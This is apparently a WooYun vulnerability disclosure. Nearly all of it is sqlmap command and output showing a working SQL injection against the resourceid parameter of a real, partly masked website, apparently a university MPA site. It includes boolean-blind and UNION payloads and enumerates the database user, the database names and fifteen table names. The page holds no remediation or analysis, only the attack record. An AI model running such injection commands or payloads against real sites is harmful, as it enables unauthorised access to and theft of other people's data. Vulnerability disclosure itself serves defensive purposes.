WooYun.org

sqlmap -u "http://**.**.**.**/mpa/detail.php?resourceid=910" --current-db --current-user --dbs
GET parameter 'resourceid' is vulnerable. Do you want to keep testing the others
 (if any)? [y/N] n
sqlmap identified the following injection points with a total of 49 HTTP(s) requ
ests:
---
Place: GET
Parameter: resourceid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: resourceid=910 AND 1632=1632
    Type: UNION query
    Title: MySQL UNION query (NULL) - 32 columns
    Payload: resourceid=910 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a7a6d763a,0x6f5
951714775444f6462,0x3a73757a3a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
 NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
---
[10:56:26] [INFO] testing MySQL
[10:56:26] [INFO] confirming MySQL
[10:56:27] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL >= 5.0.0
[10:56:27] [INFO] fetching current user
current user:    'admin@localhost'
[10:56:27] [INFO] fetching current database
current database:    'zjumpa_website'
[10:56:28] [INFO] fetching database names
[10:56:28] [INFO] the SQL query used returns 3 entries
[10:56:29] [INFO] retrieved: "information_schema"
[10:56:29] [INFO] retrieved: "zjumpa_sys"
[10:56:29] [INFO] retrieved: "zjumpa_website"
available databases [3]:
[*] information_schema
[*] zjumpa_sys
[*] zjumpa_website
[10:58:44] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL 5
[10:58:44] [INFO] fetching tables for database: 'zjumpa_website'
[10:58:45] [INFO] the SQL query used returns 15 entries
[10:58:45] [INFO] retrieved: "office_website_affiche"
[10:58:46] [INFO] retrieved: "office_website_attachment"
[10:58:47] [INFO] retrieved: "office_website_buildqueue"
[10:58:47] [INFO] retrieved: "office_website_column"
[10:58:48] [INFO] retrieved: "office_website_field"
[10:58:48] [INFO] retrieved: "office_website_member"
[10:58:49] [INFO] retrieved: "office_website_resource"
[10:58:49] [INFO] retrieved: "office_website_resourcefield"
[10:58:50] [INFO] retrieved: "office_website_score_2009"
[10:58:50] [INFO] retrieved: "office_website_score_2010"
[10:58:51] [INFO] retrieved: "office_website_setting"
[10:58:51] [INFO] retrieved: "office_website_signup"
[10:58:52] [INFO] retrieved: "office_website_tag"
[10:58:52] [INFO] retrieved: "office_website_tagresource"
[10:58:53] [INFO] retrieved: "office_website_templatesetting"
Database: zjumpa_website
[15 tables]
+--------------------------------+
| office_website_affiche         |
| office_website_attachment      |
| office_website_buildqueue      |
| office_website_column          |
| office_website_field           |
| office_website_member          |
| office_website_resource        |
| office_website_resourcefield   |
| office_website_score_2009      |
| office_website_score_2010      |
| office_website_setting         |
| office_website_signup          |
| office_website_tag             |
| office_website_tagresource     |
| office_website_templatesetting |
+--------------------------------+